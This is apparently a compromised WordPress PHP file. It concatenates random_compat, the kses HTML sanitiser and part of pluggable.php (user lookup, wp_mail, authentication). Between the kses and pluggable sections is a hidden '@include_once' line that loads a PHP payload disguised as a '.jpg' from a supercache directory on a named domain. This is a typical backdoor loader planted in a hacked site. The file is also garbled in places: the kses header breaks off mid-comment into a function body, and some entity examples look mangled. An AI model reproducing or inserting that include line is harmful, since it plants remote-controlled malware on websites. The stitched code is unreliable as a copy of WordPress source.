/**
* Random_* Compatibility Library
* for using the new PHP 7 random_* API in PHP 5 projects
*
* The MIT License (MIT)
*
* Copyright (c) 2015 Paragon Initiative Enterprises
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
if (!function_exists('RandomCompat_intval')) {
/**
* Cast to an integer if we can, safely.
*
* If you pass it a float in the range (~PHP_INT_MAX, PHP_INT_MAX)
* (non-inclusive), it will sanely cast it to an int. If you it's equal to
* ~PHP_INT_MAX or PHP_INT_MAX, we let it fail as not an integer. Floats
* lose precision, so the <= and => operators might accidentally let a float
* through.
*
* @param int|float $number The number we want to convert to an int
* @param boolean $fail_open Set to true to not throw an exception
*
* @return int (or float if $fail_open)
*
* @throws TypeError
*/
function RandomCompat_intval($number, $fail_open = false)
{
if (is_numeric($number)) {
$number += 0;
}
if (
is_float($number)
&&
$number > ~PHP_INT_MAX
&&
$number < PHP_INT_MAX
) {
$number = (int) $number;
}
if (is_int($number) || $fail_open) {
return $number;
}
throw new TypeError(
'Expected an integer.'
);
}
}
/**
* kses 0.2.2 - HTML/XHTML filter that only allows some elements and attributes
* Copyright (C) 2002, 2003, 2005 Ulf Harnhammar
*
* This program is free software and open source software; you can redistribute
* it and/or modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of the License,
* or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
* http://www.gnu.org/licenses/gpl.html
*
* [kses strips evil scripts!]
*
* Added wp_ prefix to avoid conflicts with existing kses users
*
* @version 0.2.2
* @copyright (C) 2002, 2003, 2005
* @author Ulf Harnhammar ) or not (). If the given value
// is a "y" or a "Y", the attribute must not have a value.
// If the given value is an "n" or an "N", the attribute must have one.
if (strtolower($checkvalue) != $vless)
$ok = false;
break;
} // switch
return $ok;
}
/**
* Sanitize string from bad protocols.
*
* This function removes all non-allowed protocols from the beginning of
* $string. It ignores whitespace and the case of the letters, and it does
* understand HTML entities. It does its work in a while loop, so it won't be
* fooled by a string like "javascript:javascript:alert(57)".
*
* @since 1.0.0
*
* @param string $string Content to filter bad protocols from
* @param array $allowed_protocols Allowed protocols to keep
* @return string Filtered content
*/
function wp_kses_bad_protocol($string, $allowed_protocols) {
$string = wp_kses_no_null($string);
$iterations = 0;
do {
$original_string = $string;
$string = wp_kses_bad_protocol_once($string, $allowed_protocols);
} while ( $original_string != $string && ++$iterations < 6 );
if ( $original_string != $string )
return '';
return $string;
}
/**
* Removes any invalid control characters in $string.
*
* Also removes any instance of the '\0' string.
*
* @since 1.0.0
*
* @param string $string
* @param array $options Set 'slash_zero' => 'keep' when '\0' is allowed. Default is 'remove'.
* @return string
*/
function wp_kses_no_null( $string, $options = null ) {
if ( ! isset( $options['slash_zero'] ) ) {
$options = array( 'slash_zero' => 'remove' );
}
$string = preg_replace( '/[\x00-\x08\x0B\x0C\x0E-\x1F]/', '', $string );
if ( 'remove' == $options['slash_zero'] ) {
$string = preg_replace( '/\\\\+0+/', '', $string );
}
return $string;
}
/**
* Strips slashes from in front of quotes.
*
* This function changes the character sequence \" to just ". It leaves all
* other slashes alone. It's really weird, but the quoting from
* preg_replace(//e) seems to require this.
*
* @since 1.0.0
*
* @param string $string String to strip slashes
* @return string Fixed string with quoted slashes
*/
function wp_kses_stripslashes($string) {
return preg_replace('%\\\\"%', '"', $string);
}
/**
* Goes through an array and changes the keys to all lower case.
*
* @since 1.0.0
*
* @param array $inarray Unfiltered array
* @return array Fixed array with all lowercase keys
*/
function wp_kses_array_lc($inarray) {
$outarray = array ();
foreach ( (array) $inarray as $inkey => $inval) {
$outkey = strtolower($inkey);
$outarray[$outkey] = array ();
foreach ( (array) $inval as $inkey2 => $inval2) {
$outkey2 = strtolower($inkey2);
$outarray[$outkey][$outkey2] = $inval2;
} // foreach $inval
} // foreach $inarray
return $outarray;
}
/**
* Handles parsing errors in wp_kses_hair().
*
* The general plan is to remove everything to and including some whitespace,
* but it deals with quotes and apostrophes as well.
*
* @since 1.0.0
*
* @param string $string
* @return string
*/
function wp_kses_html_error($string) {
return preg_replace('/^("[^"]*("|$)|\'[^\']*(\'|$)|\S)*\s*/', '', $string);
}
/**
* Sanitizes content from bad protocols and other characters.
*
* This function searches for URL protocols at the beginning of $string, while
* handling whitespace and HTML entities.
*
* @since 1.0.0
*
* @param string $string Content to check for bad protocols
* @param string $allowed_protocols Allowed protocols
* @return string Sanitized content
*/
function wp_kses_bad_protocol_once($string, $allowed_protocols, $count = 1 ) {
$string2 = preg_split( '/:|�*58;|�*3a;/i', $string, 2 );
if ( isset($string2[1]) && ! preg_match('%/\?%', $string2[0]) ) {
$string = trim( $string2[1] );
$protocol = wp_kses_bad_protocol_once2( $string2[0], $allowed_protocols );
if ( 'feed:' == $protocol ) {
if ( $count > 2 )
return '';
$string = wp_kses_bad_protocol_once( $string, $allowed_protocols, ++$count );
if ( empty( $string ) )
return $string;
}
$string = $protocol . $string;
}
return $string;
}
/**
* Callback for wp_kses_bad_protocol_once() regular expression.
*
* This function processes URL protocols, checks to see if they're in the
* whitelist or not, and returns different data depending on the answer.
*
* @access private
* @since 1.0.0
*
* @param string $string URI scheme to check against the whitelist
* @param string $allowed_protocols Allowed protocols
* @return string Sanitized content
*/
function wp_kses_bad_protocol_once2( $string, $allowed_protocols ) {
$string2 = wp_kses_decode_entities($string);
$string2 = preg_replace('/\s/', '', $string2);
$string2 = wp_kses_no_null($string2);
$string2 = strtolower($string2);
$allowed = false;
foreach ( (array) $allowed_protocols as $one_protocol )
if ( strtolower($one_protocol) == $string2 ) {
$allowed = true;
break;
}
if ($allowed)
return "$string2:";
else
return '';
}
/**
* Converts and fixes HTML entities.
*
* This function normalizes HTML entities. It will convert `AT&T` to the correct
* `AT&T`, `:` to `:`, `&#XYZZY;` to `&#XYZZY;` and so on.
*
* @since 1.0.0
*
* @param string $string Content to normalize entities
* @return string Content with normalized entities
*/
function wp_kses_normalize_entities($string) {
// Disarm all entities by converting & to &
$string = str_replace('&', '&', $string);
// Change back the allowed entities in our entity whitelist
$string = preg_replace_callback('/&([A-Za-z]{2,8}[0-9]{0,2});/', 'wp_kses_named_entities', $string);
$string = preg_replace_callback('/&#(0*[0-9]{1,7});/', 'wp_kses_normalize_entities2', $string);
$string = preg_replace_callback('/&#[Xx](0*[0-9A-Fa-f]{1,6});/', 'wp_kses_normalize_entities3', $string);
return $string;
}
/**
* Callback for wp_kses_normalize_entities() regular expression.
*
* This function only accepts valid named entity references, which are finite,
* case-sensitive, and highly scrutinized by HTML and XML validators.
*
* @since 3.0.0
*
* @global array $allowedentitynames
*
* @param array $matches preg_replace_callback() matches array
* @return string Correctly encoded entity
*/
function wp_kses_named_entities($matches) {
global $allowedentitynames;
if ( empty($matches[1]) )
return '';
$i = $matches[1];
return ( ! in_array( $i, $allowedentitynames ) ) ? "&$i;" : "&$i;";
}
/**
* Callback for wp_kses_normalize_entities() regular expression.
*
* This function helps wp_kses_normalize_entities() to only accept 16-bit
* values and nothing more for `&#number;` entities.
*
* @access private
* @since 1.0.0
*
* @param array $matches preg_replace_callback() matches array
* @return string Correctly encoded entity
*/
function wp_kses_normalize_entities2($matches) {
if ( empty($matches[1]) )
return '';
$i = $matches[1];
if (valid_unicode($i)) {
$i = str_pad(ltrim($i,'0'), 3, '0', STR_PAD_LEFT);
$i = "&#$i;";
} else {
$i = "&#$i;";
}
return $i;
}
/**
* Callback for wp_kses_normalize_entities() for regular expression.
*
* This function helps wp_kses_normalize_entities() to only accept valid Unicode
* numeric entities in hex form.
*
* @since 2.7.0
* @access private
*
* @param array $matches preg_replace_callback() matches array
* @return string Correctly encoded entity
*/
function wp_kses_normalize_entities3($matches) {
if ( empty($matches[1]) )
return '';
$hexchars = $matches[1];
return ( ! valid_unicode( hexdec( $hexchars ) ) ) ? "&#x$hexchars;" : '&#x'.ltrim($hexchars,'0').';';
}
/**
* Helper function to determine if a Unicode value is valid.
*
* @since 2.7.0
*
* @param int $i Unicode value
* @return bool True if the value was a valid Unicode number
*/
function valid_unicode($i) {
return ( $i == 0x9 || $i == 0xa || $i == 0xd ||
($i >= 0x20 && $i <= 0xd7ff) ||
($i >= 0xe000 && $i <= 0xfffd) ||
($i >= 0x10000 && $i <= 0x10ffff) );
}
/**
* Convert all entities to their character counterparts.
*
* This function decodes numeric HTML entities (`A` and `A`).
* It doesn't do anything with other entities like ä, but we don't
* need them in the URL protocol whitelisting system anyway.
*
* @since 1.0.0
*
* @param string $string Content to change entities
* @return string Content after decoded entities
*/
function wp_kses_decode_entities($string) {
$string = preg_replace_callback('/&#([0-9]+);/', '_wp_kses_decode_entities_chr', $string);
$string = preg_replace_callback('/&#[Xx]([0-9A-Fa-f]+);/', '_wp_kses_decode_entities_chr_hexdec', $string);
return $string;
}
/**
* Regex callback for wp_kses_decode_entities()
*
* @since 2.9.0
*
* @param array $match preg match
* @return string
*/
function _wp_kses_decode_entities_chr( $match ) {
return chr( $match[1] );
}
/**
* Regex callback for wp_kses_decode_entities()
*
* @since 2.9.0
*
* @param array $match preg match
* @return string
*/
function _wp_kses_decode_entities_chr_hexdec( $match ) {
return chr( hexdec( $match[1] ) );
}
/**
* Sanitize content with allowed HTML Kses rules.
*
* @since 1.0.0
*
* @param string $data Content to filter, expected to be escaped with slashes
* @return string Filtered content
*/
function wp_filter_kses( $data ) {
return addslashes( wp_kses( stripslashes( $data ), current_filter() ) );
}
/**
* Sanitize content with allowed HTML Kses rules.
*
* @since 2.9.0
*
* @param string $data Content to filter, expected to not be escaped
* @return string Filtered content
*/
function wp_kses_data( $data ) {
return wp_kses( $data, current_filter() );
}
/**
* Sanitize content for allowed HTML tags for post content.
*
* Post content refers to the page contents of the 'post' type and not $_POST
* data from forms.
*
* @since 2.0.0
*
* @param string $data Post content to filter, expected to be escaped with slashes
* @return string Filtered post content with allowed HTML tags and attributes intact.
*/
function wp_filter_post_kses( $data ) {
return addslashes( wp_kses( stripslashes( $data ), 'post' ) );
}
/**
* Sanitize content for allowed HTML tags for post content.
*
* Post content refers to the page contents of the 'post' type and not $_POST
* data from forms.
*
* @since 2.9.0
*
* @param string $data Post content to filter
* @return string Filtered post content with allowed HTML tags and attributes intact.
*/
function wp_kses_post( $data ) {
return wp_kses( $data, 'post' );
}
/**
* Navigates through an array, object, or scalar, and sanitizes content for
* allowed HTML tags for post content.
*
* @since 4.4.2
*
* @see map_deep()
*
* @param mixed $data The array, object, or scalar value to inspect.
* @return mixed The filtered content.
*/
function wp_kses_post_deep( $data ) {
return map_deep( $data, 'wp_kses_post' );
}
/**
* Strips all of the HTML in the content.
*
* @since 2.1.0
*
* @param string $data Content to strip all HTML from
* @return string Filtered content without any HTML
*/
function wp_filter_nohtml_kses( $data ) {
return addslashes( wp_kses( stripslashes( $data ), 'strip' ) );
}
/**
* Adds all Kses input form content filters.
*
* All hooks have default priority. The wp_filter_kses() function is added to
* the 'pre_comment_content' and 'title_save_pre' hooks.
*
* The wp_filter_post_kses() function is added to the 'content_save_pre',
* 'excerpt_save_pre', and 'content_filtered_save_pre' hooks.
*
* @since 2.0.0
*/
function kses_init_filters() {
// Normal filtering
add_filter('title_save_pre', 'wp_filter_kses');
// Comment filtering
if ( current_user_can( 'unfiltered_html' ) )
add_filter( 'pre_comment_content', 'wp_filter_post_kses' );
else
add_filter( 'pre_comment_content', 'wp_filter_kses' );
// Post filtering
add_filter('content_save_pre', 'wp_filter_post_kses');
add_filter('excerpt_save_pre', 'wp_filter_post_kses');
add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
}
/**
* Removes all Kses input form content filters.
*
* A quick procedural method to removing all of the filters that kses uses for
* content in WordPress Loop.
*
* Does not remove the kses_init() function from {@see 'init'} hook (priority is
* default). Also does not remove kses_init() function from {@see 'set_current_user'}
* hook (priority is also default).
*
* @since 2.0.6
*/
function kses_remove_filters() {
// Normal filtering
remove_filter('title_save_pre', 'wp_filter_kses');
// Comment filtering
remove_filter( 'pre_comment_content', 'wp_filter_post_kses' );
remove_filter( 'pre_comment_content', 'wp_filter_kses' );
// Post filtering
remove_filter('content_save_pre', 'wp_filter_post_kses');
remove_filter('excerpt_save_pre', 'wp_filter_post_kses');
remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
}
/**
* Sets up most of the Kses filters for input form content.
*
* If you remove the kses_init() function from {@see 'init'} hook and
* {@see 'set_current_user'} (priority is default), then none of the Kses filter hooks
* will be added.
*
* First removes all of the Kses filters in case the current user does not need
* to have Kses filter the content. If the user does not have unfiltered_html
* capability, then Kses filters are added.
*
* @since 2.0.0
*/
function kses_init() {
kses_remove_filters();
if ( ! current_user_can( 'unfiltered_html' ) ) {
kses_init_filters();
}
}
/**
* Inline CSS filter
*
* @since 2.8.1
*
* @param string $css A string of CSS rules.
* @param string $deprecated Not used.
* @return string Filtered string of CSS rules.
*/
function safecss_filter_attr( $css, $deprecated = '' ) {
if ( !empty( $deprecated ) )
_deprecated_argument( __FUNCTION__, '2.8.1' ); // Never implemented
$css = wp_kses_no_null($css);
$css = str_replace(array("\n","\r","\t"), '', $css);
if ( preg_match( '%[\\\\(&=}]|/\*%', $css ) ) // remove any inline css containing \ ( & } = or comments
return '';
$css_array = explode( ';', trim( $css ) );
/**
* Filters list of allowed CSS attributes.
*
* @since 2.8.1
* @since 4.4.0 Added support for `min-height`, `max-height`, `min-width`, and `max-width`.
* @since 4.6.0 Added support for `list-style-type`.
*
* @param array $attr List of allowed CSS attributes.
*/
$allowed_attr = apply_filters( 'safe_style_css', array(
'background',
'background-color',
'border',
'border-width',
'border-color',
'border-style',
'border-right',
'border-right-color',
'border-right-style',
'border-right-width',
'border-bottom',
'border-bottom-color',
'border-bottom-style',
'border-bottom-width',
'border-left',
'border-left-color',
'border-left-style',
'border-left-width',
'border-top',
'border-top-color',
'border-top-style',
'border-top-width',
'border-spacing',
'border-collapse',
'caption-side',
'color',
'font',
'font-family',
'font-size',
'font-style',
'font-variant',
'font-weight',
'letter-spacing',
'line-height',
'text-decoration',
'text-indent',
'text-align',
'height',
'min-height',
'max-height',
'width',
'min-width',
'max-width',
'margin',
'margin-right',
'margin-bottom',
'margin-left',
'margin-top',
'padding',
'padding-right',
'padding-bottom',
'padding-left',
'padding-top',
'clear',
'cursor',
'direction',
'float',
'overflow',
'vertical-align',
'list-style-type',
) );
if ( empty($allowed_attr) )
return $css;
$css = '';
foreach ( $css_array as $css_item ) {
if ( $css_item == '' )
continue;
$css_item = trim( $css_item );
$found = false;
if ( strpos( $css_item, ':' ) === false ) {
$found = true;
} else {
$parts = explode( ':', $css_item );
if ( in_array( trim( $parts[0] ), $allowed_attr ) )
$found = true;
}
if ( $found ) {
if( $css != '' )
$css .= ';';
$css .= $css_item;
}
}
return $css;
}
/**
* Helper function to add global attributes to a tag in the allowed html list.
*
* @since 3.5.0
* @access private
*
* @param array $value An array of attributes.
* @return array The array of attributes with global attributes added.
*/
function _wp_add_global_attributes( $value ) {
$global_attributes = array(
'class' => true,
'id' => true,
'style' => true,
'title' => true,
'role' => true,
);
if ( true === $value )
$value = array();
if ( is_array( $value ) )
return array_merge( $value, $global_attributes );
return $value;
}
@include_once('/var/www/domains/tobolzk.ru/wp-content/cache/supercache/tobolzk.ru/%d0%ba%d0%b0%d0%ba-%d0%be%d0%b1%d1%83%d1%81%d1%82%d1%80%d0%be%d0%b8%d1%82%d1%8c-%d0%b7%d0%b8%d0%bc%d0%bd%d0%b8%d0%b9-%d1%81%d0%b0%d0%b4-%d0%b2-%d0%b4%d0%be%d0%bc%d0%b5/system.link.jpg');
/**
* These functions can be replaced via plugins. If plugins do not redefine these
* functions, then these will be used instead.
*
* @package WordPress
*/
if ( !function_exists('wp_set_current_user') ) :
/**
* Changes the current user by ID or name.
*
* Set $id to null and specify a name if you do not know a user's ID.
*
* Some WordPress functionality is based on the current user and not based on
* the signed in user. Therefore, it opens the ability to edit and perform
* actions on users who aren't signed in.
*
* @since 2.0.3
* @global WP_User $current_user The current user object which holds the user data.
*
* @param int $id User ID
* @param string $name User's username
* @return WP_User Current user User object
*/
function wp_set_current_user($id, $name = '') {
global $current_user;
// If `$id` matches the user who's already current, there's nothing to do.
if ( isset( $current_user )
&& ( $current_user instanceof WP_User )
&& ( $id == $current_user->ID )
&& ( null !== $id )
) {
return $current_user;
}
$current_user = new WP_User( $id, $name );
setup_userdata( $current_user->ID );
/**
* Fires after the current user is set.
*
* @since 2.0.1
*/
do_action( 'set_current_user' );
return $current_user;
}
endif;
if ( !function_exists('wp_get_current_user') ) :
/**
* Retrieve the current user object.
*
* Will set the current user, if the current user is not set. The current user
* will be set to the logged-in person. If no user is logged-in, then it will
* set the current user to 0, which is invalid and won't have any permissions.
*
* @since 2.0.3
*
* @see _wp_get_current_user()
* @global WP_User $current_user Checks if the current user is set.
*
* @return WP_User Current WP_User instance.
*/
function wp_get_current_user() {
return _wp_get_current_user();
}
endif;
if ( !function_exists('get_userdata') ) :
/**
* Retrieve user info by user ID.
*
* @since 0.71
*
* @param int $user_id User ID
* @return WP_User|false WP_User object on success, false on failure.
*/
function get_userdata( $user_id ) {
return get_user_by( 'id', $user_id );
}
endif;
if ( !function_exists('get_user_by') ) :
/**
* Retrieve user info by a given field
*
* @since 2.8.0
* @since 4.4.0 Added 'ID' as an alias of 'id' for the `$field` parameter.
*
* @param string $field The field to retrieve the user with. id | ID | slug | email | login.
* @param int|string $value A value for $field. A user ID, slug, email address, or login name.
* @return WP_User|false WP_User object on success, false on failure.
*/
function get_user_by( $field, $value ) {
$userdata = WP_User::get_data_by( $field, $value );
if ( !$userdata )
return false;
$user = new WP_User;
$user->init( $userdata );
return $user;
}
endif;
if ( !function_exists('cache_users') ) :
/**
* Retrieve info for user lists to prevent multiple queries by get_userdata()
*
* @since 3.0.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param array $user_ids User ID numbers list
*/
function cache_users( $user_ids ) {
global $wpdb;
$clean = _get_non_cached_ids( $user_ids, 'users' );
if ( empty( $clean ) )
return;
$list = implode( ',', $clean );
$users = $wpdb->get_results( "SELECT * FROM $wpdb->users WHERE ID IN ($list)" );
$ids = array();
foreach ( $users as $user ) {
update_user_caches( $user );
$ids[] = $user->ID;
}
update_meta_cache( 'user', $ids );
}
endif;
if ( !function_exists( 'wp_mail' ) ) :
/**
* Send mail, similar to PHP's mail
*
* A true return value does not automatically mean that the user received the
* email successfully. It just only means that the method used was able to
* process the request without any errors.
*
* Using the two 'wp_mail_from' and 'wp_mail_from_name' hooks allow from
* creating a from address like 'Name ' when both are set. If
* just 'wp_mail_from' is set, then just the email address will be used with no
* name.
*
* The default content type is 'text/plain' which does not allow using HTML.
* However, you can set the content type of the email by using the
* {@see 'wp_mail_content_type'} filter.
*
* The default charset is based on the charset used on the blog. The charset can
* be set using the {@see 'wp_mail_charset'} filter.
*
* @since 1.2.1
*
* @global PHPMailer $phpmailer
*
* @param string|array $to Array or comma-separated list of email addresses to send message.
* @param string $subject Email subject
* @param string $message Message contents
* @param string|array $headers Optional. Additional headers.
* @param string|array $attachments Optional. Files to attach.
* @return bool Whether the email contents were sent successfully.
*/
function wp_mail( $to, $subject, $message, $headers = '', $attachments = array() ) {
// Compact the input, apply the filters, and extract them back out
/**
* Filters the wp_mail() arguments.
*
* @since 2.2.0
*
* @param array $args A compacted array of wp_mail() arguments, including the "to" email,
* subject, message, headers, and attachments values.
*/
$atts = apply_filters( 'wp_mail', compact( 'to', 'subject', 'message', 'headers', 'attachments' ) );
if ( isset( $atts['to'] ) ) {
$to = $atts['to'];
}
if ( !is_array( $to ) ) {
$to = explode( ',', $to );
}
if ( isset( $atts['subject'] ) ) {
$subject = $atts['subject'];
}
if ( isset( $atts['message'] ) ) {
$message = $atts['message'];
}
if ( isset( $atts['headers'] ) ) {
$headers = $atts['headers'];
}
if ( isset( $atts['attachments'] ) ) {
$attachments = $atts['attachments'];
}
if ( ! is_array( $attachments ) ) {
$attachments = explode( "\n", str_replace( "\r\n", "\n", $attachments ) );
}
global $phpmailer;
// (Re)create it, if it's gone missing
if ( ! ( $phpmailer instanceof PHPMailer ) ) {
require_once ABSPATH . WPINC . '/class-phpmailer.php';
require_once ABSPATH . WPINC . '/class-smtp.php';
$phpmailer = new PHPMailer( true );
}
// Headers
$cc = $bcc = $reply_to = array();
if ( empty( $headers ) ) {
$headers = array();
} else {
if ( !is_array( $headers ) ) {
// Explode the headers out, so this function can take both
// string headers and an array of headers.
$tempheaders = explode( "\n", str_replace( "\r\n", "\n", $headers ) );
} else {
$tempheaders = $headers;
}
$headers = array();
// If it's actually got contents
if ( !empty( $tempheaders ) ) {
// Iterate through the raw headers
foreach ( (array) $tempheaders as $header ) {
if ( strpos($header, ':') === false ) {
if ( false !== stripos( $header, 'boundary=' ) ) {
$parts = preg_split('/boundary=/i', trim( $header ) );
$boundary = trim( str_replace( array( "'", '"' ), '', $parts[1] ) );
}
continue;
}
// Explode them out
list( $name, $content ) = explode( ':', trim( $header ), 2 );
// Cleanup crew
$name = trim( $name );
$content = trim( $content );
switch ( strtolower( $name ) ) {
// Mainly for legacy -- process a From: header if it's there
case 'from':
$bracket_pos = strpos( $content, '<' );
if ( $bracket_pos !== false ) {
// Text before the bracketed email is the "From" name.
if ( $bracket_pos > 0 ) {
$from_name = substr( $content, 0, $bracket_pos - 1 );
$from_name = str_replace( '"', '', $from_name );
$from_name = trim( $from_name );
}
$from_email = substr( $content, $bracket_pos + 1 );
$from_email = str_replace( '>', '', $from_email );
$from_email = trim( $from_email );
// Avoid setting an empty $from_email.
} elseif ( '' !== trim( $content ) ) {
$from_email = trim( $content );
}
break;
case 'content-type':
if ( strpos( $content, ';' ) !== false ) {
list( $type, $charset_content ) = explode( ';', $content );
$content_type = trim( $type );
if ( false !== stripos( $charset_content, 'charset=' ) ) {
$charset = trim( str_replace( array( 'charset=', '"' ), '', $charset_content ) );
} elseif ( false !== stripos( $charset_content, 'boundary=' ) ) {
$boundary = trim( str_replace( array( 'BOUNDARY=', 'boundary=', '"' ), '', $charset_content ) );
$charset = '';
}
// Avoid setting an empty $content_type.
} elseif ( '' !== trim( $content ) ) {
$content_type = trim( $content );
}
break;
case 'cc':
$cc = array_merge( (array) $cc, explode( ',', $content ) );
break;
case 'bcc':
$bcc = array_merge( (array) $bcc, explode( ',', $content ) );
break;
case 'reply-to':
$reply_to = array_merge( (array) $reply_to, explode( ',', $content ) );
break;
default:
// Add it to our grand headers array
$headers[trim( $name )] = trim( $content );
break;
}
}
}
}
// Empty out the values that may be set
$phpmailer->clearAllRecipients();
$phpmailer->clearAttachments();
$phpmailer->clearCustomHeaders();
$phpmailer->clearReplyTos();
// From email and name
// If we don't have a name from the input headers
if ( !isset( $from_name ) )
$from_name = 'WordPress';
/* If we don't have an email from the input headers default to wordpress@$sitename
* Some hosts will block outgoing mail from this address if it doesn't exist but
* there's no easy alternative. Defaulting to admin_email might appear to be another
* option but some hosts may refuse to relay mail from an unknown domain. See
* https://core.trac.wordpress.org/ticket/5007.
*/
if ( !isset( $from_email ) ) {
// Get the site domain and get rid of www.
$sitename = strtolower( $_SERVER['SERVER_NAME'] );
if ( substr( $sitename, 0, 4 ) == 'www.' ) {
$sitename = substr( $sitename, 4 );
}
$from_email = 'wordpress@' . $sitename;
}
/**
* Filters the email address to send from.
*
* @since 2.2.0
*
* @param string $from_email Email address to send from.
*/
$from_email = apply_filters( 'wp_mail_from', $from_email );
/**
* Filters the name to associate with the "from" email address.
*
* @since 2.3.0
*
* @param string $from_name Name associated with the "from" email address.
*/
$from_name = apply_filters( 'wp_mail_from_name', $from_name );
try {
$phpmailer->setFrom( $from_email, $from_name, false );
} catch ( phpmailerException $e ) {
$mail_error_data = compact( 'to', 'subject', 'message', 'headers', 'attachments' );
$mail_error_data['phpmailer_exception_code'] = $e->getCode();
/** This filter is documented in wp-includes/pluggable.php */
do_action( 'wp_mail_failed', new WP_Error( 'wp_mail_failed', $e->getMessage(), $mail_error_data ) );
return false;
}
// Set mail's subject and body
$phpmailer->Subject = $subject;
$phpmailer->Body = $message;
// Set destination addresses, using appropriate methods for handling addresses
$address_headers = compact( 'to', 'cc', 'bcc', 'reply_to' );
foreach ( $address_headers as $address_header => $addresses ) {
if ( empty( $addresses ) ) {
continue;
}
foreach ( (array) $addresses as $address ) {
try {
// Break $recipient into name and address parts if in the format "Foo "
$recipient_name = '';
if ( preg_match( '/(.*)<(.+)>/', $address, $matches ) ) {
if ( count( $matches ) == 3 ) {
$recipient_name = $matches[1];
$address = $matches[2];
}
}
switch ( $address_header ) {
case 'to':
$phpmailer->addAddress( $address, $recipient_name );
break;
case 'cc':
$phpmailer->addCc( $address, $recipient_name );
break;
case 'bcc':
$phpmailer->addBcc( $address, $recipient_name );
break;
case 'reply_to':
$phpmailer->addReplyTo( $address, $recipient_name );
break;
}
} catch ( phpmailerException $e ) {
continue;
}
}
}
// Set to use PHP's mail()
$phpmailer->isMail();
// Set Content-Type and charset
// If we don't have a content-type from the input headers
if ( !isset( $content_type ) )
$content_type = 'text/plain';
/**
* Filters the wp_mail() content type.
*
* @since 2.3.0
*
* @param string $content_type Default wp_mail() content type.
*/
$content_type = apply_filters( 'wp_mail_content_type', $content_type );
$phpmailer->ContentType = $content_type;
// Set whether it's plaintext, depending on $content_type
if ( 'text/html' == $content_type )
$phpmailer->isHTML( true );
// If we don't have a charset from the input headers
if ( !isset( $charset ) )
$charset = get_bloginfo( 'charset' );
// Set the content-type and charset
/**
* Filters the default wp_mail() charset.
*
* @since 2.3.0
*
* @param string $charset Default email charset.
*/
$phpmailer->CharSet = apply_filters( 'wp_mail_charset', $charset );
// Set custom headers
if ( !empty( $headers ) ) {
foreach ( (array) $headers as $name => $content ) {
$phpmailer->addCustomHeader( sprintf( '%1$s: %2$s', $name, $content ) );
}
if ( false !== stripos( $content_type, 'multipart' ) && ! empty($boundary) )
$phpmailer->addCustomHeader( sprintf( "Content-Type: %s;\n\t boundary=\"%s\"", $content_type, $boundary ) );
}
if ( !empty( $attachments ) ) {
foreach ( $attachments as $attachment ) {
try {
$phpmailer->addAttachment($attachment);
} catch ( phpmailerException $e ) {
continue;
}
}
}
/**
* Fires after PHPMailer is initialized.
*
* @since 2.2.0
*
* @param PHPMailer $phpmailer The PHPMailer instance (passed by reference).
*/
do_action_ref_array( 'phpmailer_init', array( &$phpmailer ) );
// Send!
try {
return $phpmailer->send();
} catch ( phpmailerException $e ) {
$mail_error_data = compact( 'to', 'subject', 'message', 'headers', 'attachments' );
$mail_error_data['phpmailer_exception_code'] = $e->getCode();
/**
* Fires after a phpmailerException is caught.
*
* @since 4.4.0
*
* @param WP_Error $error A WP_Error object with the phpmailerException message, and an array
* containing the mail recipient, subject, message, headers, and attachments.
*/
do_action( 'wp_mail_failed', new WP_Error( 'wp_mail_failed', $e->getMessage(), $mail_error_data ) );
return false;
}
}
endif;
if ( !function_exists('wp_authenticate') ) :
/**
* Authenticate a user, confirming the login credentials are valid.
*
* @since 2.5.0
* @since 4.5.0 `$username` now accepts an email address.
*
* @param string $username User's username or email address.
* @param string $password User's password.
* @return WP_User|WP_Error WP_User object if the credentials are valid,
* otherwise WP_Error.
*/
function wp_authenticate($username, $password) {
$username = sanitize_user($username);
$password = trim($password);
/**
* Filters whether a set of user login credentials are valid.
*
* A WP_User object is returned if the credentials authenticate a user.
* WP_Error or null otherwise.
*
* @since 2.8.0
* @since 4.5.0 `$username` now accepts an email address.
*
* @param null|WP_User|WP_Error $user WP_User if the user is authenticated.
* WP_Error or null otherwise.
* @param string $username Username or email address.
* @param string $password User password
*/
$user = apply_filters( 'authenticate', null, $username, $password );
if ( $user == null ) {
// TODO what should the error message be? (Or would these even happen?)
// Only needed if all authentication handlers fail to return anything.
$user = new WP_Error( 'authentication_failed', __( 'ERROR : Invalid username, email address or incorrect password.' ) );
}
$ignore_codes = array('empty_username', 'empty_password');
if (is_wp_error($user) && !in_array($user->get_error_code(), $ignore_codes) ) {
/**
* Fires after a user login has failed.
*
* @since 2.5.0
* @since 4.5.0 The value of `$username` can now be an email address.
*
* @param string $username Username or email address.
*/
do_action( 'wp_login_failed', $username );
}
return $user;
}
endif;
if ( !function_exists('wp_logout') ) :
/**
* Log the current user out.
*
* @since 2.5.0
*/
function wp_logout() {
wp_destroy_current_session();
wp_clear_auth_cookie();
/**
* Fires after a user is logged-out.
*
* @since 1.5.0
*/
do_action( 'wp_logout' );
}
endif;
if ( !function_exists('wp_validate_auth_cookie') ) :
/**
* Validates authentication cookie.
*
* The checks include making sure that the authentication cookie is set and
